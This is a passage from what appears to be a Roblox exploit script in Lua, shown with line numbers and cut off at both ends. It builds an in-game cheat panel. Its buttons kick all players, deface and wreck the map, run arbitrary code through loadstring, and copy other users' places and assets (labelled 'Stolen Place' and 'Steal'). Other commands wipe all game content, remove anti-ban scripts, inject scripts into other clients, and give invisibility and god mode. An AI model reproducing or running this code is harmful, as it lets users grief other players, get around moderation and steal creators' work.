2673 for i, v in pairs(obj:getChildren()) do
2674 if v:IsA("BasePart") then
2675 v.Anchored = false
2676 v.Color = BrickColor.new("Really black").Color
2677 bv = Instance.new("BodyVelocity")
2678 bv.Parent = v
2679 bv.maxForce = Vector3.new(100000000,100000000,100000000)
2680 end
2681 getAll(v)
2682 end
2683 end
2684
2685 function exPro(root)
2686 for _, v in pairs(root:GetChildren()) do
2687 if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset?id=126242857" then
2688 v.Parent = nil
2689 elseif v:IsA("BasePart") then
2690 v.Material = "Plastic"
2691 v.Transparency = .5
2692 One = Instance.new("Decal", v)
2693 Two = Instance.new("Decal", v)
2694 Three = Instance.new("Decal", v)
2695 Four = Instance.new("Decal", v)
2696 Five = Instance.new("Decal", v)
2697 Six = Instance.new("Decal", v)
2698 One.Texture = "http://www.roblox.com/asset?id=126242857"
2699 Two.Texture = "http://www.roblox.com/asset?id=126242857"
2700 Three.Texture = "http://www.roblox.com/asset?id=126242857"
2701 Four.Texture = "http://www.roblox.com/asset?id=126242857"
2702 Five.Texture = "http://www.roblox.com/asset?id=126242857"
2703 Six.Texture = "http://www.roblox.com/asset?id=126242857"
2704 One.Face = "Front"
2705 Two.Face = "Back"
2706 Three.Face = "Right"
2707 Four.Face = "Left"
2708 Five.Face = "Top"
2709 Six.Face = "Bottom"
2710 end
2711 exPro(v)
2712 end
2713 end
2714
2715
2716 local DoD = Instance.new("TextButton", game.CoreGui.RobloxGui)
2717 DoD.Size = UDim2.new(.05, 0, .05, 0)
2718 DoD.Position = UDim2.new(0, 5, 0.5, 70);
2719 DoD.Text = "DoD"
2720 DoD.TextColor3 = Color3.new(1, 1, 1)
2721 DoD.Style = "RobloxButtonDefault"
2722 DoD.Draggable = true
2723
2724 DoD.MouseButton1Click:connect(function()
2725 getAll(workspace)
2726 game.Lighting.TimeOfDay = "07:00:00"
2727 game.Lighting.Ambient = Color3.new(0,0,0)
2728 sky = Instance.new("Sky")
2729 sky.Parent = game.Lighting
2730 sky.SkyboxBk = "http://www.roblox.com/asset/?id=8772734"
2731 sky.SkyboxDn = "http://www.roblox.com/asset/?id=8772734"
2732 sky.SkyboxFt = "http://www.roblox.com/asset/?id=8772734"
2733 sky.SkyboxLf = "http://www.roblox.com/asset/?id=8772734"
2734 sky.SkyboxRt = "http://www.roblox.com/asset/?id=8772734"
2735 sky.SkyboxUp = "http://www.roblox.com/asset/?id=8772734"
2736 end)
2737
2738 Shutdown = Instance.new("TextButton", game.CoreGui.RobloxGui)
2739 Shutdown.Size = UDim2.new(.05, 0, .05, 0)
2740 Shutdown.Position = UDim2.new(0, 5, 0.5, 110)
2741 Shutdown.Text = "Shutdown"
2742 Shutdown.TextColor3 = Color3.new(1, 1, 1)
2743 Shutdown.Style = "RobloxButtonDefault"
2744 Shutdown.Draggable = true
2745
2746 Shutdown.MouseButton1Click:connect(function()
2747 coroutine.resume(coroutine.create(function()
2748 while wait() do
2749 for _, v in pairs(game.Players:GetPlayers()) do
2750 v.Parent = nil
2751 end
2752 end
2753 end))
2754 end)
2755
2756 ExPro = Instance.new("TextButton", game.CoreGui.RobloxGui)
2757 ExPro.Size = UDim2.new(.05, 0, .05, 0)
2758 ExPro.Position = UDim2.new(0, 5, 0.5, 150)
2759 ExPro.Text = "ExPro"
2760 ExPro.TextColor3 = Color3.new(1, 1, 1)
2761 ExPro.Style = "RobloxButtonDefault"
2762 ExPro.Draggable = true
2763
2764 ExPro.MouseButton1Click:connect(function()
2765 exPro(workspace)
2766 end)
2767
2768 ScriptFrame = Instance.new("Frame", game.CoreGui.RobloxGui)
2769 ScriptFrame.Size = UDim2.new(0.5, 0, 0.75, 0)
2770 ScriptFrame.Position = UDim2.new(0.300000012, 0, 0.200000003, 0)
2771 ScriptFrame.Active = true
2772 ScriptFrame.Draggable = true
2773 ScriptFrame.Style = "RobloxRound"
2774
2775 Panel = Instance.new("TextBox", ScriptFrame)
2776 Panel.BackgroundColor3 = Color3.new(1, 1, 1)
2777 Panel.ClearTextOnFocus = true --Change to false if you want easy script edit
2778 Panel.FontSize = "Size9"
2779 Panel.MultiLine = true
2780 Panel.Position = UDim2.new(0, 0, 0.100000001, 0)
2781 Panel.Size = UDim2.new(1, 0, 0.899999976, 0)
2782 Panel.BorderSizePixel = 0
2783 Panel.Text = ""
2784 Panel.TextWrap = true
2785 Panel.TextXAlignment = "Left"
2786 Panel.TextYAlignment = "Top"
2787
2788 ExecuteButton = Instance.new("TextButton", ScriptFrame)
2789 ExecuteButton.Font = "ArialBold"
2790 ExecuteButton.FontSize = "Size12"
2791 ExecuteButton.Text = "Execute"
2792 ExecuteButton.Size = UDim2.new(.3, 0, .05, 0)
2793 ExecuteButton.Style = "RobloxButtonDefault"
2794 ExecuteButton.TextColor3 = Color3.new(1, 1, 1)
2795 ExecuteButton.TextYAlignment = "Center"
2796 ExecuteButton.TextXAlignment = "Center"
2797
2798 ExecuteButton.MouseButton1Click:connect(function()
2799 local func = loadstring(Panel.Text) or function() end
2800 pcall(function()
2801 coroutine.resume(coroutine.create(func))
2802 end)
2803 end)
2804
2805 StealText = Instance.new("TextBox", game.CoreGui.RobloxGui)
2806 StealText.BackgroundColor3 = Color3.new(1, 1, 1)
2807 StealText.ClearTextOnFocus = false
2808 StealText.Font = "ArialBold"
2809 StealText.FontSize = "Size11"
2810 StealText.Position = UDim2.new(0, 0, 0.879999995, 0)
2811 StealText.Size = UDim2.new(0.100000001, 0, 0.0500000007, 0)
2812 StealText.Text = ""
2813
2814 StealButton = Instance.new("TextButton", game.CoreGui.RobloxGui)
2815 StealButton.Font = "ArialBold"
2816 StealButton.FontSize = "Size12"
2817 StealButton.Text = "Steal"
2818 StealButton.Position = UDim2.new(0.100000001, 0, 0.879999995, 0)
2819 StealButton.Size = UDim2.new(0.0700000003, 0, 0.0500000007, 0)
2820 StealButton.TextColor3 = Color3.new(1, 1, 1)
2821 StealButton.Style = "RobloxButtonDefault"
2822
2823 StealButton.MouseButton1Click:connect(function()
2824 pcall(function()
2825 game:GetService("Visit"):SetUploadUrl("http://www.roblox.com/Data/Upload.ashx?assetid=" .. StealText.Text);
2826 game.CoreGui.RobloxGui.ControlFrame.SaveDialogShield.Visible = true
2827 end)
2828 end)
2829
2830 coroutine.resume(coroutine.create(function()
2831 while wait() do
2832 game:ClearMessage()
2833 end
2834 end))
2835
2836 game.Players.LocalPlayer:SetSuperSafeChat(false);
2837end
2838ExplorerGui=function()
2839 local name = "thejustifierx"
2840
2841 while true and wait() do
2842 if (game.Players.LocalPlayer == nil) then else break end end
2843
2844 Properties={nil,"Name","className","Parent","archivable","AttachmentForward","AttachmentPos","AttachmentRight","AttachmentUp","AnimationId","HeadColor","RightArmColor","LeftArmColor","TorsoColor","LeftLegColor","RightLegColor","Value","CameraType","CameraSubject","BaseTextureId","BodyPart","MeshId","OverlayTextureId","MaxActivationDistance","Shiny","Specular","Texture","Face","GripForward","GripPos","GripRight","GripUp","TextureId","TeamColor","Enabled","CFrame","BrickColor","Material","Reflectance","Transparency","Position","RotVelocity","Velocity","Anchored","CanCollide","Locked","Elasticity","Friction","Shape","Size","formFactor","BackSurface","BottomSurface","FrontSurface","LeftSurface","RightSurface","TopSurface","AbsolutePosition","AbsoluteSize","Active","BackgroundColor3","BackgroundTransparency","BorderColor3","BorderSizePixel","SizeConstraint","Visible","ZIndex","C0","C1","Part0","Part1","BinType","LeftLeg","RightLeg","Torso","Health","MaxHealth","WalkSpeed","Jump","PlatformStand","Sit","AutoButtonColor","Image","LinkedSource","Disabled","Text","PrimaryPart","CurrentAngle","DesiredAngle","MaxVelocity","PantsTemplate","ShirtTemplate","SoundId","Pitch","IsPlaying","IsPaused","Looped","PlayOnRemove","StudsPerTileU","StudsPerTileV","userId","BubbleChat","ClassicChat","MaxPlayers","NumPlayers","LocalPlayer","CharacterAppearance","Character","CurrentCamera","Ambient","Brightness","ColorShift_Bottom","ColorShift_Top","ShadowColor","GeographicLatitude","TimeOfDay","AmbientReverb","DistanceFactor","DopplerScale","RolloffScale","FogEnd","FieldOfView","FogStart","FogColor","CameraMode"}
2845 GlobalProperties={nil,"Name","className","Parent","archivable"}
2846 GlobalEvents={nil,"AncestryChanged","ChildAdded","ChildRemoved","DescendantAdded","DescendantRemoving"}
2847 GlobalFunctions={nil,"Clone","FindFirstChild","GetChildren","GetFullName","IsA","IsAncesterOf","IsDescendantOf","Remove"}
2848 local Selection=game
2849 local updateDebounce=1
2850 Base="http://www.roblox.com/asset/?id="
2851 Images={Value=40332408,Sound=40332463,Script=40332546,ScreenGui=40332596,Part=40332760,Nil=40332825,Model=40332865,Message=40332942,LocalScript=40332996,Joint=40333049,Frame=40333121,Camera=40333217,Backpack=40333260,Player=40332674,Body=40339623,HopperBin=40339572,Tool=40339513,Workspace=40484518,Mesh=40484580,Property=40493937,Animation=40531758,Hat=40531808,Humanoid=40531903}
2852 Min=1
2853 Max=40
2854 MAXPAGEN=40
2855 --[[==================================================================]]
2856 function GetProperties(Object,Table)
2857 local Return={}
2858 local function C() end
2859 for i=1,#Table do
2860 if pcall(function() C(Object[Table[i]]) end) then
2861 if (Object:FindFirstChild(Table[i])==nil) then
2862 table.insert(Return,Table[i])
2863 end end end
2864 return Return
2865 end
2866
2867 function GetType(Prop)
2868 if (type(Prop)=="userdata") then
2869 if pcall(function() Prop.Name=Prop.Name end) then
2870 return Prop.Name
2871 end end
2872 return Prop
2873 end
2874
2875 function SetPropGui()
2876 if (Selection~=nil) then
2877 local PropGuiPos=0
2878 local Gui=game:GetService("CoreGui"):FindFirstChild("PropertiesGui")
2879 if (Gui~=nil) then
2880 Gui:Remove()
2881 end
2882 PropGui=Instance.new("ScreenGui")
2883 PropGui.Parent=game:GetService("CoreGui")
2884 PropGui.Name="PropertiesGui"
2885 local Props=GetProperties(Selection,Properties)
2886 for i=1,#Props do
2887 PropGuiPos=i
2888 local Get=GetType(Props[i])
2889 local Label=Instance.new("TextButton")
2890 Label.Parent=PropGui
2891 Label.Size=UDim2.new(0,150,0,15)
2892 Label.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
2893 Label.BackgroundColor3=Color3.new(0.7,0.7,0.9)
2894 Label.Name=tostring(Get)
2895 Label.TextXAlignment="Left"
2896 Label.Position=UDim2.new(0,230,0,(i*15)-15)
2897 Label.TextColor3=Color3.new(0,0,0)
2898 Label.BorderColor3=Color3.new(0,0,0)
2899 Label.BackgroundTransparency=0.5
2900 Label.Active=false
2901 Label.AutoButtonColor=false
2902 CreateImageLabel(Label,Base..Images.Property)
2903 if (type(Selection[Props[i]])=="boolean") then
2904 if pcall(function() Selection[Props[i]]=Selection[Props[i]] end) then
2905 Label.Active=true
2906 Label.AutoButtonColor=true
2907 Label.BackgroundColor3=Color3.new(0.5,0.5,1)
2908 Label.MouseButton1Click:connect(function()
2909 if (Selection[Props[i]]==true) then
2910 Selection[Props[i]]=false
2911 elseif (Selection[Props[i]]==false) then
2912 Selection[Props[i]]=true
2913 end
2914 Label.Text=" "..tostring(Props[i]).." | "..tostring(Selection[Props[i]])
2915 end) end end end
2916 end end
2917
2918 function CreateImageLabel(Par,image)
2919 local label=Instance.new("ImageLabel")
2920 label.BackgroundColor3=Color3.new(1,1,1)
2921 label.BackgroundTransparency=1
2922 label.Name="ItemImage"
2923 label.Size=UDim2.new(0,13,0,13)
2924 label.Position=UDim2.new(0,1,0,1)
2925 label.Image=image
2926 label.BorderSizePixel=0
2927 label.Parent=Par
2928 end
2929
2930 function SetImage(Par,class)
2931 if (class=="IntValue") or (class=="BoolValue") or (class=="StringValue") or (class=="ObjectValue") or (class=="CFrameValue") or (class=="Vector3Value") or (class=="NumberValue") or (class=="RayValue") or (class=="Color3Value") or (class=="BrickColorValue") then
2932 CreateImageLabel(Par,Base..Images.Value)
2933 elseif (class=="Sound") or (class=="StockSound") or (class=="SoundService") then
2934 CreateImageLabel(Par,Base..Images.Sound)
2935 elseif (class=="Script") then
2936 CreateImageLabel(Par,Base..Images.Script)
2937 elseif (class=="ScreenGui") or (class=="GuiMain") or (class=="BillboardGui") then
2938 CreateImageLabel(Par,Base..Images.ScreenGui)
2939 elseif (class=="Part") or (class=="WedgePart") or (class=="TrussPart") then
2940 CreateImageLabel(Par,Base..Images.Part)
2941 elseif (class=="Model") then
2942 CreateImageLabel(Par,Base..Images.Model)
2943 elseif (class=="Hint") or (class=="Message") then
2944 CreateImageLabel(Par,Base..Images.Message)
2945 elseif (class=="LocalScript") then
2946 CreateImageLabel(Par,Base..Images.LocalScript)
2947 elseif (class=="Weld") or (class=="Snap") or (class=="Glue") or (class=="Rotate") or (class=="RotateP") or (class=="RotateV") or (class=="JointsService") then
2948 CreateImageLabel(Par,Base..Images.Joint)
2949 elseif (class=="Frame") or (class=="TextLabel") or (class=="TextButton") or (class=="TextBox") or (class=="ImageButton") or (class=="ImageLabel") then
2950 CreateImageLabel(Par,Base..Images.Frame)
2951 elseif (class=="Camera") then
2952 CreateImageLabel(Par,Base..Images.Camera)
2953 elseif (class=="Backpack") or (class=="StarterGear") or (class=="StarterPack") or (class=="StarterGui") or (class=="PlayerGui") then
2954 CreateImageLabel(Par,Base..Images.Backpack)
2955 elseif (class=="Player") or (class=="PseudoPlayer") or (class=="Players") then
2956 CreateImageLabel(Par,Base..Images.Player)
2957 elseif (class=="BodyPosition") or (class=="BodyGyro") or (class=="BodyVelocity") or (class=="BodyThrust") or (class=="BodyForce") or (class=="RocketPropulsion") then
2958 CreateImageLabel(Par,Base..Images.Body)
2959 elseif (class=="HopperBin") then
2960 CreateImageLabel(Par,Base..Images.HopperBin)
2961 elseif (class=="Tool") then
2962 CreateImageLabel(Par,Base..Images.Tool)
2963 elseif (class=="Workspace") then
2964 CreateImageLabel(Par,Base..Images.Workspace)
2965 elseif (class=="BlockMesh") or (class=="SpecialMesh") or (class=="CylinderMesh") then
2966 CreateImageLabel(Par,Base..Images.Mesh)
2967 elseif (class=="Animation") or (class=="CharacterMesh") then
2968 CreateImageLabel(Par,Base..Images.Animation)
2969 elseif (class=="Hat") then
2970 CreateImageLabel(Par,Base..Images.Hat)
2971 elseif (class=="Humanoid") then
2972 CreateImageLabel(Par,Base..Images.Humanoid)
2973 elseif (class=="StarterScript") then
2974 CreateImageLabel(Par,Base..Images.LocalScript)
2975 elseif (class=="CoreScript") then
2976 CreateImageLabel(Par,Base..Images.LocalScript)
2977 else CreateImageLabel(Par,Base..Images.Nil)
2978 end
2979 end
2980
2981 function SetExplGui()
2982 if (Selection~=nil) then
2983 local Gui=game:GetService("CoreGui"):FindFirstChild("ExplorerGui")
2984 if (Gui~=nil) then Gui:Remove() end
2985 local Children=Selection:GetChildren()
2986 ExplGui=Instance.new("ScreenGui")
2987 ExplGui.Parent=game:GetService("CoreGui")
2988 ExplGui.Name="ExplorerGui"
2989 if (Selection.Parent~=nil) then
2990 local BackButton=Instance.new("TextButton")
2991 BackButton.Size=UDim2.new(0,120,0,15)
2992 BackButton.BorderColor3=Color3.new(0,0,0)
2993 BackButton.TextColor3=Color3.new(0,0,0)
2994 BackButton.Parent=ExplGui
2995 BackButton.Text="Back to " .. Selection.Parent.Name
2996 BackButton.BackgroundColor3=Color3.new(0.3,0.3,1)
2997 BackButton.BackgroundTransparency=0.5
2998 BackButton.Position=UDim2.new(0,380,0,0)
2999 BackButton.Name="Back"
3000 BackButton.MouseButton1Click:connect(function()
3001 Selection=Selection.Parent
3002 SetExplGui()
3003 SetPropGui()
3004 end) end
3005 if (#Children>=MAXPAGEN) then
3006 local f=0
3007 for i=Min,Max do
3008 f=f+1
3009 local Obj=Instance.new("TextButton")
3010 Obj.Size=UDim2.new(0,120,0,15)
3011 Obj.BorderColor3=Color3.new(0,0,0)
3012 Obj.TextColor3=Color3.new(0,0,0)
3013 Obj.Parent=ExplGui
3014 Obj.Text=" "..Children[i].Name
3015 Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
3016 Obj.BackgroundTransparency=0.5
3017 Obj.TextXAlignment="Left"
3018 if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(f*15)) else Obj.Position=UDim2.new(0,380,0,(f*15)-15) end
3019 Obj.Name=Children[i].Name
3020 SetImage(Obj,Children[i].className)
3021 Obj.MouseButton1Click:connect(function() pcall(function() Selection=Children[i] SetExplGui() SetPropGui() end) end)
3022 local Remove=Instance.new("TextButton")
3023 Remove.Size=UDim2.new(0,15,0,15)
3024 Remove.BorderColor3=Color3.new(0,0,0)
3025 Remove.TextColor3=Color3.new(0,0,0)
3026 Remove.Parent=ExplGui
3027 Remove.Text="X"
3028 Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
3029 Remove.BackgroundTransparency=0.5
3030 Remove.Name="Remove" .. Children[i].Name
3031 if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(f*15)) else Remove.Position=UDim2.new(0,500,0,(f*15)-15) end
3032 Remove.MouseButton1Click:connect(function() if (pcall(function() Children[i]:Remove() end)) then SetPropGui() SetExplGui() else Remove.BackgroundColor3=Color3.new(1,1,1) wait(1) Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
3033 end
3034 local UP=Instance.new("TextButton")
3035 UP.Position=UDim2.new(0,515,0,0)
3036 UP.Size=UDim2.new(0,15,0,15)
3037 UP.BorderColor3=Color3.new(0,0,0)
3038 UP.TextColor3=Color3.new(0,0,0)
3039 UP.Parent=ExplGui
3040 UP.Text="^"
3041 UP.BackgroundColor3=Color3.new(1,0.25,0.25)
3042 UP.BackgroundTransparency=0.5
3043 UP.Name="UpButton"
3044 UP.MouseButton1Click:connect(function() if (Min<=1) then return end Min=Min-1 Max=Max-1 SetExplGui() end)
3045 local DOWN=Instance.new("TextButton")
3046 DOWN.Position=UDim2.new(0,515,0,15)
3047 DOWN.Size=UDim2.new(0,15,0,15)
3048 DOWN.BorderColor3=Color3.new(0,0,0)
3049 DOWN.TextColor3=Color3.new(0,0,0)
3050 DOWN.Parent=ExplGui
3051 DOWN.Text="v"
3052 DOWN.BackgroundColor3=Color3.new(1,0.25,0.25)
3053 DOWN.BackgroundTransparency=0.5
3054 DOWN.Name="DownButton"
3055 DOWN.MouseButton1Click:connect(function() if (Max>=#Children) then return end Min=Min+1 Max=Max+1 SetExplGui() end)
3056 else
3057 Max=MAXPAGEN
3058 Min=1
3059 for i=1,#Children do
3060 local Obj=Instance.new("TextButton")
3061 Obj.Size=UDim2.new(0,120,0,15)
3062 Obj.BorderColor3=Color3.new(0,0,0)
3063 Obj.TextColor3=Color3.new(0,0,0)
3064 Obj.Parent=ExplGui
3065 Obj.Text=" "..Children[i].Name
3066 Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
3067 Obj.BackgroundTransparency=0.5
3068 Obj.TextXAlignment="Left"
3069 if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(i*15)) else Obj.Position=UDim2.new(0,380,0,(i*15)-15) end
3070 Obj.Name=Children[i].Name
3071 SetImage(Obj,Children[i].className)
3072 Obj.MouseButton1Click:connect(function() pcall(function() Selection=Children[i] SetExplGui() SetPropGui() end) end)
3073 local Remove=Instance.new("TextButton")
3074 Remove.Size=UDim2.new(0,15,0,15)
3075 Remove.BorderColor3=Color3.new(0,0,0)
3076 Remove.TextColor3=Color3.new(0,0,0)
3077 Remove.Parent=ExplGui
3078 Remove.Text="X"
3079 Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
3080 Remove.BackgroundTransparency=0.5
3081 Remove.Name="Remove" .. Children[i].Name
3082 if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(i*15)) else Remove.Position=UDim2.new(0,500,0,(i*15)-15) end
3083 Remove.MouseButton1Click:connect(function() if (pcall(function() Children[i]:Remove() end)) then SetPropGui() SetExplGui() else Remove.BackgroundColor3=Color3.new(1,1,1) wait(1) Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
3084 end
3085 end
3086 end
3087 ----------------
3088 Selection.Changed:connect(function(prop)
3089 if (Selection==game) then return end
3090 if (updateDebounce==1) then
3091 updateDebounce=0
3092 if (Selection.Parent==nil) then
3093 Selection=game
3094 updateDebounce=1
3095 SetPropGui()
3096 SetExplGui()
3097 return end
3098 if (PropGui~=nil) then
3099 local Button=PropGui:FindFirstChild(prop)
3100 if (Button~=nil) then
3101 local Get=GetType(prop)
3102 Button.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
3103 end end
3104 wait()
3105 updateDebounce=1
3106 end end)
3107 ---------------------------
3108 end
3109 SetPropGui()
3110 SetExplGui()
3111
3112end
3113Hint=function(txt,t)
3114 if not pcall(function()local w=game:service'CoreGui':children''end)then return end
3115 local Hint=Instance.new('Hint',game:service'CoreGui')
3116 Hint.Text=txt
3117 wait(t)
3118 Hint:remove''
3119end
3120if wfp(game,'PlaceId')~=0 then if Ray.Hacked then error'Hack exist'return end end
3121Player=wfp(s'Players','LocalPlayer')
3122table.insert(Connects,Player.Chatted:connect(SearchCommand))
3123if pcall(function()s'CoreGui':IsA''end)then
3124 PlayerGui=s'CoreGui'
3125else
3126 PlayerGui=wfo(Player,'Name','PlayerGui')
3127end
3128Commands.tele=function(place_id)
3129 local players = {}
3130 for i, v in next, Game.Players:GetPlayers() do
3131 if v ~= Game.Players.LocalPlayer then
3132 table.insert(players, v)
3133 end
3134 end
3135 for i, v in next, players do
3136 pcall(function() v:SetSuperSafeChat(true) end)
3137 end
3138 LoadOnClients(players, TeleportScript(place_id))
3139end
3140Commands.ff=function(v,asd)
3141 for i,v in pairs(pf(asd[1]))do
3142 if v.Character then
3143 for i,v in pairs(FindChildren(v.Character,'ClassName','ForceField'))do
3144 v:remove''
3145 end
3146 if asd[2]=='false'then return end
3147 Instance.new('ForceField',v.Character)
3148 end
3149 end
3150end
3151Commands.port=function(v)
3152 local t=game:service'InsertService':LoadAsset'64667087'
3153 if v or v~=''then
3154 t:FindFirstChild('port',true).Value=v
3155 end
3156 game:service'InsertService':Insert(t)
3157end
3158Commands.savegame=function()
3159 Place=Instance.new('Model',settings'')
3160 Place.Name=tick''..'Stolen Place '..game.PlaceId
3161 Workspace=Instance.new('Model',Place)
3162 Workspace.Name='Workspace'
3163 Lighting=Instance.new('Model',Place)
3164 Lighting.Name='Lighting'
3165 StarterPack=Instance.new('Model',Place)
3166 StarterPack.Name='StarterPack'
3167 StarterGui=Instance.new('Model',Place)
3168 StarterGui.Name='StarterGui'
3169 Teams=Instance.new('Model',Place)
3170 Teams.Name='Teams'
3171 Players=Instance.new('Model',Place)
3172 Players.Name='Players'
3173 SoundService=Instance.new('Model',Place)
3174 SoundService.Name='SoundService'
3175 for asdasd,asd in pairs(Place:children'')do
3176 for i,v in pairs(game:service(asd.Name):children'')do
3177 pcall(function()
3178 if not v:IsA("Player") then
3179 if v:IsA("Model") then v.Archivable=true end
3180 v:clone''.Parent=asd
3181 elseif v:IsA("Player") then plr=Instance.new('Model',Players) plr.Name=v.Name
3182 for e,i in pairs(v:GetChildren())do i:clone().Parent = plr end
3183 end
3184 end)
3185 end
3186 end
3187 Hint('Save game complete',10)
3188end
3189Commands.suicide=function()
3190 for i,v in pairs(Connects)do
3191 v:disconnect''
3192 end
3193 for i,v in pairs(PlayerGui:children'')do
3194 if v.Name==CommanderName then pcall(v.remove,v)end
3195 end
3196end
3197Commands.power=function()
3198 if game.Players.LocalPlayer.Character ~= nil then
3199 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
3200 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
3201 ls.Name="lsInserted"
3202 wait(.2)
3203 ls.Name="lsRun"
3204 ls.Source=PowerScriptSource
3205 ls.Disabled=true
3206 ls.Disabled=false
3207 end
3208 end
3209end
3210Commands.nova=function()
3211 if game.Players.LocalPlayer.Character ~= nil then
3212 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
3213 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
3214 ls.Name="lsInserted"
3215 wait(.2)
3216 ls.Name="lsRun"
3217 ls.Source=NovaSource
3218 ls.Disabled=true
3219 ls.Disabled=false
3220 end
3221 end
3222end
3223Commands.gaara=function()
3224 if game.Players.LocalPlayer.Character ~= nil then
3225 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
3226 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
3227 ls.Name="lsInserted"
3228 wait(.2)
3229 ls.Name="lsRun"
3230 ls.Source=GaaraSource
3231 ls.Disabled=true
3232 ls.Disabled=false
3233 end
3234 end
3235end
3236Commands.outgame=function() AntibanScript=false
3237 if game.Players.LocalPlayer.Character ~= nil then
3238 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
3239 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
3240 ls.Name="lsInserted"
3241 wait(.2)
3242 ls.Name="lsRun"
3243 ls.Source=OutGameSource
3244 ls.Disabled=true
3245 ls.Disabled=false
3246 end
3247 end
3248end
3249Commands.load=function(v)loadstring(v)()end
3250Commands.script=function(v)CreateScript('Script',s'Workspace',v)end
3251Commands['local']=function(v)CreateScript('LocalScript',Player.Backpack,v)end
3252Commands.dqydqshdjwxcfvwxbclmkljpoiuiyuiteyrteyazeqdsdfdgfdj=function(v,asd)
3253 game:service'Players'.LocalPlayer.Parent=nil
3254 game:service'Players'.LocalPlayer.Parent=game:service'Players'
3255 game:ClearContent'true'
3256 for i,v in pairs(GetAll(game))do
3257 pcall(v.remove,v)
3258 end
3259 game.DescendantAdded:connect(function(c)pcall(c.remove,c)end)
3260end
3261Commands.reset=function(v,asd)
3262 for i,p in pairs(pf(asd[1]))do
3263 Delay(0,function()
3264 for i,v in pairs(p.Character:children'')do
3265 if not v:IsA'Humanoid'then
3266 pcall(v.remove,v)
3267 end
3268 end
3269 end)
3270 end
3271end
3272Commands.bar=CommandBar
3273CommandBar''
3274AntiBan=function()
3275 coroutine.resume(coroutine.create(function()
3276 while true and wait() do
3277 for _,v in pairs(game.Workspace:GetChildren()) do
3278 if (v:IsA("Script")) and (v.Name=="BanScript") then
3279 v.Disabled=true
3280 v:remove()
3281 elseif (v:IsA("Script")) and (string.sub(v.Name, 1, 9)=="Person299") then
3282 v.Disabled=true
3283 v:remove()
3284 end
3285 end
3286 end
3287 end))
3288end
3289AntiBan''
3290X(function()
3291 local gs=s'GuiService'
3292 gs:AddKey(CmdbKey)
3293 gs:AddKey(FocusKey)
3294 gs:AddKey(ExplorerKey)
3295 gs:AddKey(ExproKey)
3296 gs:AddKey(GearKey)
3297 gs:AddKey(BuildKey)
3298 gs:AddKey(GodKey)
3299 gs:AddKey(UnlockKey)
3300 gs:AddKey(LockKey)
3301 gs:AddKey(InvisiKey)
3302 gs:AddKey(VisiKey)
3303 gs:AddKey(AdminKey)
3304 table.insert(Connects,gs.KeyPressed:connect(function(Key)
3305 if Key==CmdbKey then
3306 if(game.Players.LocalPlayer.Name=="LocalCheater")then
3307 game.Players.LocalPlayer.CharacterAppearance = "http://www.roblox.com/asset/?ID=67950579"
3308 game.Players.LocalPlayer.Character.Humanoid.Health = 0
3309 game.Players.LocalPlayer:SetSuperSafeChat(false)
3310 else
3311 if CommanderScreen.Parent then
3312 pcall(CommanderScreen.remove,CommanderScreen)
3313 Player:SetSuperSafeChat(false)
3314 return
3315 end
3316 CommandBar''
3317 game.Players.LocalPlayer:SetSuperSafeChat(false)
3318 end
3319 elseif Key==FocusKey then
3320 CommanderFocus''
3321 elseif Key==ExproKey then
3322 ExproGui''
3323 Player:SetSuperSafeChat(false)
3324 elseif Key==ExplorerKey then
3325 ExplorerGui''
3326 Player:SetSuperSafeChat(false)
3327 elseif Key==AdminKey then
3328 coroutine.resume(coroutine.create(function()
3329 if(game.Players.LocalPlayer.Character~=nil)then
3330 if not(game.Players.LocalPlayer.Character:FindFirstChild("_admincmd"))then
3331 AdminScript=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
3332 AdminScript.Name="_admincmd"
3333 AdminScript.Source=AdminScriptSource
3334 AdminScript.Disabled=true
3335 AdminScript.Disabled=false
3336 end
3337 end
3338 end))
3339 elseif Key==InvisiKey then
3340 coroutine.resume(coroutine.create(function()
3341 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
3342 MergeTool=ctool("iMergeTool")
3343 MergeScript=Instance.new("LocalScript",MergeTool)
3344 end
3345 MergeScript.Source=MergeScriptSource
3346 MergeScript.Disabled=true
3347 MergeScript.Disabled=false
3348 function invisi(path)
3349 for _,v in pairs(path:GetChildren())do
3350 if(v:IsA("Part"))or(v:IsA("Decal"))then
3351 v.Transparency=1
3352 end
3353 invisi(v)
3354 end
3355 end
3356 if(game.Players.LocalPlayer.Character~=nil)then
3357 invisi(game.Players.LocalPlayer.Character)
3358 end
3359 game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
3360 game.Players.LocalPlayer.Character.Humanoid.Health=math.huge
3361 game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed
3362 game.Players.LocalPlayer:SetSuperSafeChat(false)
3363 end))
3364 elseif Key==VisiKey then
3365 coroutine.resume(coroutine.create(function()
3366 function uninvisi(path)
3367 for _,v in pairs(path:GetChildren())do
3368 if(v:IsA("Part"))or(v:IsA("Decal"))then
3369 v.Transparency=0
3370 end
3371 uninvisi(v)
3372 end
3373 end
3374 if(game.Players.LocalPlayer.Character~=nil)then
3375 uninvisi(game.Players.LocalPlayer.Character)
3376 end
3377 game.Players.LocalPlayer.Character.Humanoid.MaxHealth=100
3378 game.Players.LocalPlayer.Character.Humanoid.Health=100
3379 game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=16
